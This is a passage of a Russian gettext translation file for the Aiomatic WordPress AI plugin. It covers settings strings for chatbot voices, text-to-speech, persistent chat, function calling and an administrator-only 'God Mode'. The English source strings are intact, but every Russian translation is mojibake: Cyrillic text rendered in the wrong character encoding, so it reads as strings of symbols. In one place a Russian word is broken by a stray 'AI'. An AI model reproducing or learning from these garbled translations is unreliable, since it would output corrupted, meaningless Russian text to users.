(шорткоды, Ñозданные по " "правилам других плагинов). ЕÑли вы иÑпользуете Royalty Free Images в " "качеÑтве иÑточника, вы также можете задать их ключевые Ñлова здеÑÑŒ, еÑли " "ключевые Ñлова не заданы, они будут Ñгенерированы автоматичеÑки." #: res/aiomatic-chatbot.php:3397 res/aiomatic-spinner-list.php:3617 msgid "Select a the Audio Device Profile of the chosen voice." msgstr "Выберите профиль аудиоуÑтройÑтва выбранного голоÑа." #: res/aiomatic-chatbot.php:3279 res/aiomatic-spinner-list.php:3499 msgid "Select a the language of the chosen voice." msgstr "Выберите Ñзык выбранного голоÑа." #: res/aiomatic-chatbot.php:3359 res/aiomatic-spinner-list.php:3579 msgid "Select a the name of the chosen voice." msgstr "Выберите Ð¸Ð¼Ñ Ð²Ñ‹Ð±Ñ€Ð°Ð½Ð½Ð¾Ð³Ð¾ голоÑа." #: res/aiomatic-chatbot.php:3447 res/aiomatic-spinner-list.php:3667 msgid "" "Select a the Voice Pitch of the chosen voice. Speaking pitch, in the range [-" "20.0, 20.0]. 20 means increase 20 semitones from the original pitch. -20 " "means decrease 20 semitones from the original pitch." msgstr "" "Выберите выÑоту голоÑа выбранного голоÑа. Ð’Ñ‹Ñота тона речи в диапазоне [-20," "0, 20,0]. 20 означает увеличение на 20 полутонов от иÑходной выÑоты тона. -" "20 означает уменьшение на 20 полутонов от иÑходной выÑоты тона." #: res/aiomatic-chatbot.php:3431 res/aiomatic-spinner-list.php:3651 msgid "" "Select a the Voice Speed of the chosen voice. Speaking rate/speed, in the " "range [0.25, 4.0]. 1.0 is the normal native speed supported by the specific " "voice. 2.0 is twice as fast, and 0.5 is half as fast. If unset(0.0), " "defaults to the native 1.0 speed. Any other values < 0.25 or > 4.0 will " "return an error." msgstr "" "Выберите ÑкороÑÑ‚ÑŒ голоÑа выбранного голоÑа. СкороÑÑ‚ÑŒ/ÑкороÑÑ‚ÑŒ речи в " "диапазоне [0,25, 4,0]. 1.0 — Ñто Ð½Ð¾Ñ€Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð¸ÑÑ…Ð¾Ð´Ð½Ð°Ñ ÑкороÑÑ‚ÑŒ, " "Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶Ð¸Ð²Ð°ÐµÐ¼Ð°Ñ ÐºÐ¾Ð½ÐºÑ€ÐµÑ‚Ð½Ñ‹Ð¼ голоÑом. 2.0 в два раза быÑтрее, а 0.5 в два раза " "медленнее. ЕÑли не уÑтановлено (0.0), по умолчанию иÑпользуетÑÑ ÑобÑÑ‚Ð²ÐµÐ½Ð½Ð°Ñ " "ÑкороÑÑ‚ÑŒ 1.0. Любые другие Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ < 0,25 или > 4,0 вернут ошибку." #: res/aiomatic-chatbot.php:3263 res/aiomatic-spinner-list.php:3483 msgid "" "Select a the Voice speed of the chosen voice. The default value is 1. Min: 0." "25, max: 4." msgstr "" "Выберите ÑкороÑÑ‚ÑŒ выбранного голоÑа. Значение по умолчанию — 1. Мин.: 0,25, " "макÑ.: 4." #: res/aiomatic-chatbot.php:3127 res/aiomatic-spinner-list.php:3347 msgid "" "Select a the Voice stability of the chosen voice. Higher stability ensures " "consistency but may result in monotony, therefore for longer text, it is " "recommended to decrease stability. The default value is 0.75" msgstr "" "Выберите ÑтабильноÑÑ‚ÑŒ выбранного голоÑа. Более выÑÐ¾ÐºÐ°Ñ ÑтабильноÑÑ‚ÑŒ " "обеÑпечивает поÑледовательноÑÑ‚ÑŒ, но может привеÑти к монотонноÑти, поÑтому " "Ð´Ð»Ñ Ð±Ð¾Ð»ÐµÐµ длинного текÑта рекомендуетÑÑ Ñнизить ÑтабильноÑÑ‚ÑŒ. Значение по " "умолчанию — 0,75." #: res/aiomatic-chatbot.php:3909 msgid "Select a theme to delete" msgstr "Выберите тему Ð´Ð»Ñ ÑƒÐ´Ð°Ð»ÐµÐ½Ð¸Ñ" #: res/aiomatic-chatbot.php:3074 msgid "Select a voice you want to use for your chatbot." msgstr "Выберите голоÑ, который вы хотите иÑпользовать Ð´Ð»Ñ Ñвоего Чат-бота." #: res/aiomatic-spinner-list.php:3294 msgid "Select a voice you want to use for your content." msgstr "Выберите голоÑ, который вы хотите иÑпользовать Ð´Ð»Ñ Ñвоего контента." #: res/aiomatic-chatbot.php:2842 msgid "" "Select a voice you want to use for your video chatbot. You can add voices in " "the following format: voice_provider:voice_name:voice_config - available " "voices lists:" msgstr "" "Выберите голоÑ, который вы хотите иÑпользовать Ð´Ð»Ñ Ñвоего Видео Чат-бота. Ð’Ñ‹ " "можете добавлÑÑ‚ÑŒ голоÑа в Ñледующем формате: voice_provider:voice_name:" "voice_config — ÑпиÑки доÑтупных голоÑов:" #: res/aiomatic-spinner-list.php:3062 msgid "" "Select a voice you want to use for your video content. You can add voices in " "the following format: voice_provider:voice_name:voice_config - available " "voices lists:" msgstr "" "Выберите голоÑ, который вы хотите иÑпользовать Ð´Ð»Ñ Ð²Ð¸Ð´ÐµÐ¾ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°. ГолоÑа " "можно добавлÑÑ‚ÑŒ в Ñледующем формате: voice_provider:voice_name:voice_config -" " ÑпиÑки доÑтупных голоÑов:" #: res/aiomatic-chatbot.php:2847 res/aiomatic-chatbot.php:3078 #: res/aiomatic-spinner-list.php:3067 res/aiomatic-spinner-list.php:3298 msgid "Select a Voice:" msgstr "Выберите ГолоÑ:" #: res/aiomatic-amazon-list.php:2150 res/aiomatic-amazon-list.php:4845 #: res/aiomatic-automation-list.php:4713 res/aiomatic-automation-list.php:7538 #: res/aiomatic-csv-list.php:697 res/aiomatic-csv-list.php:1949 #: res/aiomatic-embeddings.php:224 res/aiomatic-main.php:5469 #: res/aiomatic-review-list.php:2219 res/aiomatic-review-list.php:4998 #: res/aiomatic-rules-list.php:2348 res/aiomatic-rules-list.php:5235 #: res/aiomatic-spinner-list.php:4120 res/aiomatic-youtube-list.php:2121 #: res/aiomatic-youtube-list.php:4773 msgid "Select an Action" msgstr "Выбрать дейÑтвие" #: res/aiomatic-assistants.php:504 res/aiomatic-assistants.php:659 #: res/aiomatic-chatbot.php:777 res/aiomatic-chatbot.php:1187 #: res/aiomatic-chatbot.php:5560 msgid "Select an avatar" msgstr "Выберите аватар" #: res/aiomatic-main.php:6330 msgid "" "Select an email address where a notification will be sent, in case a " "specific rule depleted its keywords and it did not publish any new content " "because of this. This will be applied only if you check the 'Process Each " "Title/Topic Only Once' checkbox in rules. You can enter a comma separated " "list of email addresses which will be notified." msgstr "" "Выберите Ð°Ð´Ñ€ÐµÑ Ñлектронной почты, на который будет отправлено уведомление, " "еÑли конкретное правило иÑчерпало Ñвои ключевые Ñлова и из-за Ñтого оно не " "публикует новый контент. Это будет применÑÑ‚ÑŒÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ в том Ñлучае, еÑли вы " "уÑтановите флажок «Обрабатывать каждый заголовок/тему только один раз» в " "правилах. Ð’Ñ‹ можете ввеÑти разделенный запÑтыми ÑпиÑок адреÑов Ñлектронной " "почты, которые будут уведомлены." #: res/aiomatic-single-list.php:634 res/aiomatic-single-list.php:7420 msgid "Select an image" msgstr "Выберите изображение" #: res/aiomatic-automation-list.php:4554 res/aiomatic-automation-list.php:7297 msgid "" "Select an OmniBlock Template to be loaded into the OmniBlock Queue. Note " "that this will overwrite your current OmniBlock setup." msgstr "" "Выберите шаблон OmniBlock, который будет загружен в очередь OmniBlock. " "Обратите внимание, что при Ñтом будет перезапиÑана Ñ‚ÐµÐºÑƒÑ‰Ð°Ñ Ð½Ð°Ñтройка " "OmniBlock." #: res/aiomatic-automation-list.php:4551 res/aiomatic-automation-list.php:7294 msgid "Select An OmniBlock Template:" msgstr "Выберите шаблон OmniBlock:" #: res/aiomatic-training.php:277 msgid "Select Data" msgstr "Выберите Данные" #: res/aiomatic-automation-list.php:2175 msgid "Select File To Upload:" msgstr "Выберите файл Ð´Ð»Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ¸:" #: res/aiomatic-amazon-list.php:588 res/aiomatic-amazon-list.php:3217 #: res/aiomatic-review-list.php:515 res/aiomatic-review-list.php:3202 #: res/aiomatic-single-list.php:4796 res/aiomatic-single-list.php:6020 msgid "Select if you don't want to add the product links directly to headings." msgstr "" "Выберите, еÑли вы не хотите добавлÑÑ‚ÑŒ ÑÑылки на продукты непоÑредÑтвенно в " "заголовки." #: res/aiomatic-spinner-list.php:4289 msgid "" "Select if you don't want to process the same post twice using bulk post " "editing." msgstr "" "Выберите, еÑли вы не хотите обрабатывать одну и ту же публикацию дважды, " "иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð¼Ð°ÑÑовое редактирование публикации." #: res/aiomatic-main.php:9105 msgid "" "Select if you want the Keyword Replacer Tool to match also partial words, or " "only full words." msgstr "" "Выберите, хотите ли вы, чтобы инÑтрумент замены ключевых Ñлов ÑоответÑтвовал " "также чаÑтичным Ñловам или только полным Ñловам." #: res/aiomatic-main.php:9124 msgid "" "Select if you want the Keyword Replacer Tool to match in a case sensitive " "words mode (upper case differentiated from lower case words)." msgstr "" "Выберите, хотите ли вы, чтобы инÑтрумент замены ключевых Ñлов ÑоответÑтвовал " "в режиме Ñлов Ñ ÑƒÑ‡ÐµÑ‚Ð¾Ð¼ региÑтра (верхний региÑÑ‚Ñ€ отличаетÑÑ Ð¾Ñ‚ Ñтрочных Ñлов)" "." #: res/aiomatic-review-list.php:592 res/aiomatic-review-list.php:3277 #: res/aiomatic-single-list.php:6097 msgid "" "Select if you want to add a Customer Reviews Analysis section to the created " "post. To enable Customer Reviews Analysis for articles, be sure to add a " "prompt also in the 'Article Customer Reviews Analysis Prompt' settings field " "from below." msgstr "" "Выберите, хотите ли вы добавить раздел «Ðнализ отзывов клиентов» в Ñозданный " "поÑÑ‚. Чтобы включить анализ отзывов клиентов Ð´Ð»Ñ Ñтатей, обÑзательно " "добавьте промпт также в поле наÑтроек «Промпт Ð´Ð»Ñ Ð°Ð½Ð°Ð»Ð¸Ð·Ð° отзывов клиентов» " "ниже." #: res/aiomatic-amazon-list.php:695 res/aiomatic-amazon-list.php:3322 #: res/aiomatic-single-list.php:4903 msgid "" "Select if you want to add a product comparison table to the created article." msgstr "" "Выберите, хотите ли вы добавить в Ñозданную Ñтатью Ñравнительную таблицу " "товаров." #: res/aiomatic-review-list.php:622 res/aiomatic-review-list.php:3307 #: res/aiomatic-single-list.php:6127 msgid "" "Select if you want to add a Pros & Cons section to the created post. To " "enable Pros & Cons for articles, be sure to add a prompt also in the " "'Article Pros & Cons Prompt' settings field from below." msgstr "" "Выберите, хотите ли вы добавить раздел «ПлюÑÑ‹ и минуÑы» в Ñозданный поÑÑ‚. " "Чтобы включить «За и против» Ð´Ð»Ñ Ñтатей, обÑзательно добавьте промпт также в " "поле наÑтроек «Промпт о плюÑах и минуÑах Ñтатьи» Ñнизу." #: res/aiomatic-amazon-list.php:665 res/aiomatic-amazon-list.php:3292 #: res/aiomatic-review-list.php:652 res/aiomatic-review-list.php:3337 #: res/aiomatic-rules-list.php:619 res/aiomatic-rules-list.php:3467 #: res/aiomatic-single-list.php:1572 res/aiomatic-single-list.php:3560 #: res/aiomatic-single-list.php:4873 res/aiomatic-single-list.php:6157 #: res/aiomatic-youtube-list.php:622 res/aiomatic-youtube-list.php:3204 msgid "" "Select if you want to add a Q&A section to the created post. To enable Q&A " "for articles, be sure to add a prompt also in the 'Article Q&A Prompt' " "settings field from below." msgstr "" "Выберите, хотите ли вы добавить Раздел ВопроÑов и Ответов к Ñозданному ПоÑту." " Чтобы включить функцию «ВопроÑÑ‹ Ответы» Ð´Ð»Ñ Ð¡Ñ‚Ð°Ñ‚ÐµÐ¹, обÑзательно добавьте " "Промпт также в поле ÐаÑтроек «Промты ВопроÑов и ответов по Статье» Ñнизу." #: res/aiomatic-amazon-list.php:634 res/aiomatic-amazon-list.php:3262 #: res/aiomatic-review-list.php:561 res/aiomatic-review-list.php:3247 #: res/aiomatic-rules-list.php:588 res/aiomatic-rules-list.php:3437 #: res/aiomatic-single-list.php:1541 res/aiomatic-single-list.php:3529 #: res/aiomatic-single-list.php:4842 res/aiomatic-single-list.php:6066 #: res/aiomatic-youtube-list.php:591 res/aiomatic-youtube-list.php:3174 msgid "" "Select if you want to add a Table of Contents section to the created post." msgstr "" "Выберите, хотите ли вы добавить Раздел «Оглавление» к Ñозданному ПоÑту." #: res/aiomatic-rules-list.php:522 res/aiomatic-rules-list.php:3364 #: res/aiomatic-single-list.php:1475 res/aiomatic-single-list.php:3463 #: res/aiomatic-youtube-list.php:525 res/aiomatic-youtube-list.php:3097 msgid "" "Select if you want to add an image to each of the creating headings from the " "article." msgstr "" "Выберите, хотите ли вы добавить изображение в каждый из Ñоздаваемых " "заголовков из Ñтатьи." #: res/aiomatic-review-list.php:500 res/aiomatic-review-list.php:3185 #: res/aiomatic-single-list.php:6005 msgid "Select if you want to add the product image to the article." msgstr "Выберите, хотите ли вы добавить изображение продукта в Ñтатью." #: res/aiomatic-amazon-list.php:573 res/aiomatic-amazon-list.php:3200 #: res/aiomatic-single-list.php:4781 msgid "Select if you want to add the product images to the article." msgstr "Выберите, хотите ли вы добавить Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð¾Ð´ÑƒÐºÑ‚Ð° в Ñтатью." #: res/aiomatic-chatbot.php:2614 msgid "Select if you want to allow empty chat messages or not" msgstr "Выберите, хотите ли вы разрешить пуÑтые ÑÐ¾Ð¾Ð±Ñ‰ÐµÐ½Ð¸Ñ Ñ‡Ð°Ñ‚Ð° или нет." #: res/aiomatic-chatbot.php:4047 msgid "" "Select if you want to allow the chatbot to send HTML responses and the " "plugin to execute and parse these HTML responses." msgstr "" "Выберите, хотите ли вы разрешить чат-боту отправлÑÑ‚ÑŒ HTML-ответы, а " "подключаемому модулю выполнÑÑ‚ÑŒ и анализировать Ñти HTML-ответы." #: res/aiomatic-limits-statistics.php:1458 msgid "" "Select if you want to apply an absolute timeframe. With absolute, a day " "represents today. Otherwise, it represent the past 24 hours from now. The " "same logic applies to the other time frames." msgstr "" "Выберите, хотите ли вы применить абÑолютный таймфрейм. Ð’ абÑолюте день " "предÑтавлÑет ÑегоднÑшний день. Ð’ противном Ñлучае он предÑтавлÑет поÑледние " "24 чаÑа Ñ Ð½Ð°ÑтоÑщего момента. Та же логика применима и к другим таймфреймам." #: res/aiomatic-chatbot.php:4124 msgid "" "Select if you want to automatically scroll the window to bottom on new " "messages." msgstr "" "Выберите, хотите ли вы автоматичеÑки прокручивать окно вниз при поÑвленAI " "новых ПоÑтов." #: res/aiomatic-spinner-list.php:3819 msgid "Select if you want to change post status after editing posts." msgstr "" "Выберите, хотите ли вы изменить ÑÑ‚Ð°Ñ‚ÑƒÑ ÐŸÐ¾Ñта поÑле Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÐŸÐ¾Ñта." #: res/aiomatic-main.php:6431 msgid "Select if you want to convert markdown to HTML in AI generated content." msgstr "" "Выберите, нужно ли преобразовывать разметку в HTML в контенте, Ñоздаваемом " "иÑкуÑÑтвенным интеллектом." #: res/aiomatic-main.php:6451 msgid "" "Select if you want to convert new lines to
                    tags in created article " "content." msgstr "" "Выберите, хотите ли вы преобразовать новые Ñтроки в теги в Ñозданном " "контенте Ñтатьи." #: res/aiomatic-main.php:5230 #| msgid "" #| "Select if you want to enable also SEO meta description writing for the " #| "taxonomies. Note that this will work only for taxonomies automatically " #| "processed using the 'nable Automatic Processing Of All Newly Added " #| "Taxonomies For' settings field from above. Also, note that you will need " #| "to have a SEO plugin installed on your site, from the following list: " #| "Yoast SEO, All In One SEO, Rank Math." msgid "" "Select if you want to enable also SEO meta description writing for the " "taxonomies. Note that this will work only for taxonomies automatically " "processed using the 'Enable Automatic Processing Of All Newly Added " "Taxonomies For' settings field from above. Also, note that you will need to " "have a SEO plugin installed on your site, from the following list: Yoast SEO," " All In One SEO, Rank Math." msgstr "" "Выберите, хотите ли вы включить также напиÑание SEO-метаопиÑÐ°Ð½Ð¸Ñ Ð´Ð»Ñ " "такÑономий. Обратите внимание, что Ñто будет работать только Ð´Ð»Ñ Ñ‚Ð°ÐºÑономий, " "автоматичеÑки обрабатываемых Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Ð¿Ð¾Ð»Ñ Ð½Ð°Ñтроек «Включить " "автоматичеÑкую обработку вÑех вновь добавленных такÑономий длÑ», указанного " "выше. Также обратите внимание, что на вашем Ñайте должен быть уÑтановлен SEO-" "плагин из Ñледующего ÑпиÑка: Yoast SEO, All In One SEO, Rank Math." #: res/aiomatic-main.php:5359 msgid "" "Select if you want to enable automatic processing and description creation " "using AI of all newly added taxonomies for the taxonomy names you select " "(which don't already have a description set when they are created)." msgstr "" "Выберите, хотите ли вы включить автоматичеÑкую обработку и Ñоздание опиÑÐ°Ð½Ð¸Ñ " "Ñ Ð¸Ñпользованием ИИ вÑех вновь добавленных такÑономий Ð´Ð»Ñ Ð²Ñ‹Ð±Ñ€Ð°Ð½Ð½Ñ‹Ñ… вами " "названий такÑономий (Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… еще не задано опиÑание при их Ñоздании)." #: res/aiomatic-chatbot.php:3943 msgid "Select if you want to enable chatbot moderation" msgstr "Выберите, хотите ли вы включить модерацию чат-бота" #: res/aiomatic-chatbot.php:1469 res/aiomatic-chatbot.php:2702 msgid "Select if you want to enable chatbot text to speech/video." msgstr "" "Выберите, хотите ли вы включить преобразование текÑта чат-бота в речь/видео." #: res/aiomatic-main.php:8724 msgid "" "Select if you want to enable direct scraping of Pixabay website. This will " "generate different results from the API." msgstr "" "Выберите, еÑли вы хотите включить прÑмую очиÑтку веб-Ñайта Pixabay. Это " "будет генерировать разные результаты от API." #: res/aiomatic-chatbot.php:4268 msgid "" "Select if you want to enable embedding of the chatbot on remote websites, " "using iframes." msgstr "" "Выберите, хотите ли вы включить вÑтраивание Чат-бота на отдаленных Ñайтах Ñ " "помощью iframes." #: res/aiomatic-chatbot.php:2519 msgid "" "Select if you want to enable Function Calling in the chatbot preview from " "below. This will apply only if regular AI models are used (not AI Assistants " "- for these, the Function Calling needs to be enabled from Assistant editing " "menu). Also, Function Calling will work only for logged in administrator " "privileged users." msgstr "" "Выберите, хотите ли вы включить функцию вызова в предварительном проÑмотре " "Чат-бота Ñнизу. Это применимо только в Ñлучае иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¾Ð±Ñ‹Ñ‡Ð½Ñ‹Ñ… моделей " "ИИ (не ÐÑÑиÑтентов ИИ - Ð´Ð»Ñ Ð½Ð¸Ñ… вызов функций должен быть включен в меню " "Ð ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÐÑÑиÑтента). Кроме того, вызов функций будет работать только " "Ð´Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÐµÐ¹ Ñ Ð¿Ñ€Ð°Ð²Ð°Ð¼Ð¸ админиÑтратора." #: res/aiomatic-chatbot.php:2538 msgid "" "Select if you want to enable Function Calling in the globally injected " "chatbot, on the entire front end and/or back end of your site. This will " "apply only if regular AI models are used (not AI Assistants - for these, the " "Function Calling needs to be enabled from Assistant editing menu). Also, " "Function Calling will work only for logged in administrator privileged users." msgstr "" "Выберите, хотите ли вы включить Вызов Функций в глобально внедренном Чат-" "боте, на вÑем фронт-Ñнде и/или бÑк-Ñнде вашего Ñайта. Это применимо только в " "Ñлучае иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¾Ð±Ñ‹Ñ‡Ð½Ñ‹Ñ… моделей ИИ (не ÐÑÑиÑтентов ИИ - Ð´Ð»Ñ Ð½Ð¸Ñ… вызов " "функций должен быть включен в меню Ð ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÐÑÑиÑтента). Также вызов " "функций будет работать только Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ñ€Ð¸Ð·Ð¾Ð²Ð°Ð½Ð½Ñ‹Ñ… пользователей Ñ Ð¿Ñ€Ð°Ð²Ð°Ð¼Ð¸ " "админиÑтратора." #: aiomatic-ajax-actions.php:8107 res/aiomatic-shortcodes.php:301 msgid "Select if you want to enable response streaming for your AI form." msgstr "" "Выберите, хотите ли вы включить потоковую передачу ответов Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ¹ формы " "AI." #: res/aiomatic-spinner-list.php:2956 msgid "" "Select if you want to enable text to speech/video feature of the plugin." msgstr "" "Выберите, хотите ли вы включить функцию Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь/видео в " "плагине." #: res/aiomatic-chatbot.php:2437 msgid "Select if you want to enable the 'Dall-E Image' for the Chatbot." msgstr "Выберите, хотите ли вы включить ' Изображение Dall-E' Ð´Ð»Ñ Ð§Ð°Ñ‚-бота." #: res/aiomatic-chatbot.php:4085 msgid "" "Select if you want to enable the copying of messages, if users click the " "message bubbles." msgstr "" "Выберите, хотите ли вы включить копирование ПоÑтов, еÑли пользователи " "нажимают вÑплывающие окна ПоÑтов." #: res/aiomatic-chatbot.php:4749 msgid "" "Select if you want to enable the persistent chat mode also for not logged in " "users." msgstr "" "Выберите, хотите ли вы включить режим поÑтоÑнного чата также Ð´Ð»Ñ " "незарегиÑтрированных пользователей." #: res/aiomatic-chatbot.php:1336 res/aiomatic-chatbot.php:4721 msgid "" "Select if you want to enable the persistent chat mode. Chats will be saved " "in the database and can be viewed from the 'Limits and Statistics' menu of " "the plugin. If you want to enable the Vector Database persistent chat " "functionality, you need to add your API key for a Vector Database Service in " "the plugin's 'Main Settings' menu. Also, you need to enable embeddings for " "the chatbot, from the 'Main Settings' menu -> 'Embeddings' tab -> 'Enable " "Embeddings For' -> check the 'Chatbot Shortcodes' checkbox -> save settings." msgstr "" "Выберите, хотите ли вы включить режим поÑтоÑнного чата. Чаты будут " "ÑохранÑÑ‚ÑŒÑÑ Ð² базе данных и могут быть проÑмотрены в меню \"Лимиты и " "ÑтатиÑтика\" плагина. ЕÑли вы хотите включить функцию поÑтоÑнного чата " "Векторной Базы Данных , вам нужно добавить Ñвой API-ключ Ð´Ð»Ñ ÑервиÑа Vector " "Database в меню \"ОÑновные наÑтройки\" плагина. Также необходимо включить " "вÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ Ð§Ð°Ñ‚-бота: меню 'ОÑновные наÑтройки' -> вкладка 'Ð’ÑтраиваниÑ' " "-> 'Включить Ð’ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ' -> уÑтановить флажок 'Шорткоды Чат-бота' -> " "Сохранить ÐаÑтройки." #: res/aiomatic-chatbot.php:1363 res/aiomatic-chatbot.php:1382 #: res/aiomatic-chatbot.php:4183 res/aiomatic-chatbot.php:4202 msgid "" "Select if you want to enable the prompts to be user editable. You should use " "this feature only together with the prompt templates feature." msgstr "" "Выберите, еÑли вы хотите, чтобы Промпты редактировалиÑÑŒ пользователем. Эту " "функцию Ñледует иÑпользовать только вмеÑте Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸ÐµÐ¹ шаблонов Промптов." #: res/aiomatic-chatbot.php:4143 msgid "Select if you want to enable the voice input feature for the chatbot." msgstr "Выберите, хотите ли вы включить функцию голоÑового ввода Ð´Ð»Ñ Ñ‡Ð°Ñ‚-бота." #: res/aiomatic-main.php:8670 msgid "" "Select if you want to enable usage of the Google Images Search with the " "Creative Commons filter enabled, for getting images." msgstr "" "Выберите, хотите ли вы разрешить иÑпользование поиÑка картинок Google Ñ " "включенным фильтром Creative Commons Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹." #: res/aiomatic-main.php:8697 msgid "" "Select if you want to enable usage of the Unsplash API for getting images." msgstr "" "Выберите, еÑли вы хотите разрешить иÑпользование Unsplash API Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ " "изображений." #: res/aiomatic-chatbot.php:2084 msgid "Select if you want to enable users to upload PDF files to the chatbot." msgstr "" "Выберите, хотите ли вы разрешить пользователÑм загружать файлы PDF в Чат-бот." #: res/aiomatic-chatbot.php:972 res/aiomatic-chatbot.php:4421 msgid "" "Select if you want to enable vision for the chatbot. Note that to use this " "feature, you will need an AI model which supports vision." msgstr "" "Выберите, хотите ли вы включить поÑвление Ð´Ð»Ñ Ñ‡Ð°Ñ‚-бота. Обратите внимание: " "Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñтой функции вам понадобитÑÑ Ð¼Ð¾Ð´ÐµÐ»ÑŒ иÑкуÑÑтвенного " "интеллекта, Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶Ð¸Ð²Ð°ÑŽÑ‰Ð°Ñ Ð¿Ð¾Ñвление." #: res/aiomatic-chatbot.php:2385 msgid "" "Select if you want to enable WordPress function calling module (God Mode) " "for the Chatbot." msgstr "" "Выберите, хотите ли вы включить модуль вызова функции WordPress (Режим Бога) " "Ð´Ð»Ñ Ð§Ð°Ñ‚-бота." #: res/aiomatic-chatbot.php:1448 msgid "" "Select if you want to enable/disable the chatbot God Mode feature. This will " "allow ultimate control of your WordPress site, allowing it to call functions " "from WordPress directly. Using this feature, you will be able to create " "posts directly from the chatbot, assign taxonomies, images and many more! " "Warning! This is a BETA feature, use it with caution. This will apply only " "if regular AI models are used (not AI Assistants - for these, the God Mode " "needs to be enabled from Assistant editing menu). Also, God Mode will work " "only for logged in administrator privileged users." msgstr "" "Выберите, хотите ли вы включить/выключить функцию Чат-бота Режим Бога. Это " "позволит полноÑтью контролировать ваш Ñайт WordPress, позволÑÑ ÐµÐ¼Ñƒ вызывать " "функции из WordPress напрÑмую. ИÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ñту функцию, вы Ñможете Ñоздавать " "поÑÑ‚Ñ‹ прÑмо из Чат-бота, назначать такÑономии, Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¸ многое другое! " "Внимание! Это БЕТÐ-функциÑ, иÑпользуйте ее Ñ Ð¾ÑторожноÑтью. Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð±ÑƒÐ´ÐµÑ‚ " "работать только при иÑпользовании обычных AI-моделей (не AI-аÑÑиÑтентов - " "Ð´Ð»Ñ Ð½Ð¸Ñ… Режим Бога должен быть включен в меню Ð ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÐÑÑиÑтента). " "Кроме того, Режим Бога будет работать только Ð´Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÐµÐ¹ Ñ Ð¿Ñ€Ð°Ð²Ð°Ð¼Ð¸ " "админиÑтратора." #: res/aiomatic-chatbot.php:1402 res/aiomatic-chatbot.php:4499 msgid "" "Select if you want to inject the chatbot globally, to the entire front end " "and/or back end of your site." msgstr "" "Выберите, хотите ли вы внедрить чат-бота глобально, во веÑÑŒ Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ Ð¸/или " "Ñерверную чаÑÑ‚ÑŒ вашего Ñайта." #: res/aiomatic-chatbot.php:2125 msgid "" "Select if you want to limit the maximum number of characters extracted from " "the pdf files." msgstr "" "Выберите, хотите ли вы ограничить макÑимальное количеÑтво Ñимволов, " "извлекаемых из pdf-файлов." #: res/aiomatic-chatbot.php:2109 msgid "" "Select if you want to limit the maximum number of pages extracted from the " "pdf files." msgstr "" "Выберите, хотите ли вы ограничить макÑимальное количеÑтво Ñтраниц, " "извлеченных из pdf-файлов." #: res/aiomatic-chatbot.php:1293 msgid "" "Select if you want to make the chatbot respond with full text or do you want " "to enable a typing effect, so text will appear gradually. You can also use " "streaming, which is the recommended method to be used, as in this case, the " "plugin will show the response in real time, as it is generated by the AI " "(similar to ChatGPT)." msgstr "" "Выберите, хотите ли вы, чтобы чат-бот отвечал полным текÑтом, или вы хотите " "включить Ñффект набора текÑта, чтобы текÑÑ‚ поÑвлÑлÑÑ Ð¿Ð¾Ñтепенно. Ð’Ñ‹ также " "можете иÑпользовать потоковую передачу, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ ÑвлÑетÑÑ Ñ€ÐµÐºÐ¾Ð¼ÐµÐ½Ð´ÑƒÐµÐ¼Ñ‹Ð¼ " "методом, поÑкольку в Ñтом Ñлучае плагин будет показывать ответ в реальном " "времени, поÑкольку он генерируетÑÑ Ð¸ÑкуÑÑтвенным интеллектом (аналогично " "ChatGPT)." #: res/aiomatic-chatbot.php:4008 msgid "" "Select if you want to make the chatbot respond with full text or do you want " "to enable response streaming, which is the recommended method to be used. In " "this case, the response will appear in real time, as it is generated by the " "AI (similar to ChatGPT). You can also use a typing effect, so text will " "appear gradually, but in this case, the response will start to appear only " "after the AI sent the full response to the plugin. This is also required for " "the text-to-speech feature of the plugin." msgstr "" "Выберите, 